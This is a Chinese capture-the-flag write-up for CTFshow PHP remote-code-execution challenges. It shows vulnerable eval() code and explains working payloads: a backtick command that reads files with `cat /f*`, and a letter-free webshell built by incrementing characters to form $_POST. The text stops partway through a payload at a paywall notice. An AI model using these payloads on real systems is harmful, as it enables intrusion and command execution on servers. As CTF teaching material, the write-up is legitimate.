CTFshow-RCE极限大挑战

RCE1
题目代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$code = $_POST['code'];
$code = str_replace("(","括号",$code);
$code = str_replace(".","点",$code);
eval($code);
?>
利用post发送,payload:
code=echo `$_POST[1]`;&1=cat /f*
RCE2
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow)) {
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>
禁用了字母数字和很多符号,可以用的符号有'[]()$_;+,可以确定是按照自增的方式来构造webshell进行RCE,payload构造过程:
<?php
$_=[].'';//Array
$_=$_[''=='$'];//A
$____='_';//_
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//P
$____.=$__;//_P
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//O
$____.=$__;//_PO
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//S
$____.=$__;//_POS
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//T
$____.=$__;//_POST
$_=$____;//_POST
$$_[__]($$_[_]);//$_POST[__]($_POST[_]);
?>
应该有部分人跟我一样,刚开始看这个东西是一脸懵,不知道是什么,我在这来详细解释一下
所有的$_以及类似的东西都是变量名称,在构造payload的过程就就是起到一个变量名的作用,类似于$a、$b,在然后在php中,如果强制连接数组和字符串的话,数组将被转换成字符串,例如在下列代码中
<?php
$a='';
$a = $a.[];
var_dump($a);
?>
$a为一个空格字符,在经过连接后接入了一个数组[],即使这个数组里面什么也没有,但是在执行之后我们依然可以得到

于是利用这一点,我们可以得出Array中的第一个字母A,然后利用自增来得到POST
所以我们可以得到初始payload:
ctf_show=$_=[].'';$_=$_[''=='$'];$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++

文章详细介绍了多个PHP远程代码执行(RCE)的挑战,包括如何利用字符串替换、变量自增、浮点数NAN和INF构造payload来绕过限制,以及使用gettext扩展函数来转化字符串。每个挑战都解析了payload的构造过程和原理,展示了在安全攻防中对PHP语法深入理解和利用的重要性。
最低0.47元/天 解锁文章
2645





